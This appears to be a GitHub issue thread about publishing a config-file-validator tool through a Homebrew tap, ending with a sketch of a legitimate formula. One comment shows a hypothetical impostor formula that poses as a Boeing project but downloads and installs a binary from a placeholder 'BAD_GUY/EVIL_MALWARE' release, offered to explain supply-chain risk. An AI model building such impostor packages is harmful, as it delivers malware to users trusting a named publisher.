provide install via Homebrew

[zachvalenta]

Project looks great, just thinking it would be nice to have install available via macOS package manager as well.

[kehoecj]

@zachvalenta totally agree! I looked into homebrew and it looked like as the maintainer I couldn't submit my own project. Feel free start the process if you'd like

[zachvalenta]

afaik not only can the owner|maintainer create their own tap:

• owner's repo: https://github.com/GabAlpha/basilk
• owner's formula: https://github.com/GabAlpha/homebrew-tap

you wouldn't want anyone else to do it, presumably for security reasons e.g. someone could create a tap $COOL_BOEING_PROJECT but then point to their own, non-Boeing repo in the formula:

class COOL_BOEING_PROJECT < Formula
    desc "a cool Boeing project"  # pretending to be Boeing
    homepage "https://github.com/boeing/cool_project" # pretending to be Boeing
    on_macos do
      url "https://github.com/BAD_GUY/EVIL_MALWARE/releases/download/0.1.0/create_havoc.tar.gz" # but not really Boeing!
      sha256 "long_sha_string"
    end
    def install
      bin.install "create_havoc" # oh no!
    end
  end

Keep in mind I'm almost completely an end user of Homebrew versus someone using it to publish my own projects, so take my understand of this matter with a grain of salt!

[kehoecj]

@zachvalenta Thanks for the explanation! Sounds like I need to look into the process again. I'd love to make the cfv available via homebrew

[zachvalenta]

rough sketch of how to go about this:

• create tap repo (probably something like https://github.com/Boeing/homebrew-tap)

• write formula

  class CFV < Formula
  desc "Cross Platform tool to validate configuration files"
  homepage "https://boeing.github.io/config-file-validator/"
  
  on_macos do
    on_arm do
      url "https://github.com/Boeing/config-file-validator/releases/download/v1.7.1/validator-v1.7.1-darwin-arm64.tar.gz"
      sha256 "afbba554c2cf6c6a1b6c3f677a550975af8e0d7b3726d8d1cd9f3d5a074eb231"
    end
    on_intel do
      url "https://github.com/Boeing/config-file-validator/releases/download/v1.7.1/validator-v1.7.1-darwin-amd64.tar.gz"
      sha256 "a72f4771b098a08b0e679700979d8510056ebfa4099c5c8371027e2c9cc78cc1"
    end
  end
  
  on_linux do
    on_intel do
      url "https://github.com/Boeing/config-file-validator/releases/download/v1.7.1/validator-v1.7.1-linux-amd64.tar.gz"
      sha256 "37f4e3290efac61ffd51543b8923ad2913246072309eabf0c52d0b2f9e630405"
    end
  end
  
  def install
    bin.install "validator"
  end
  end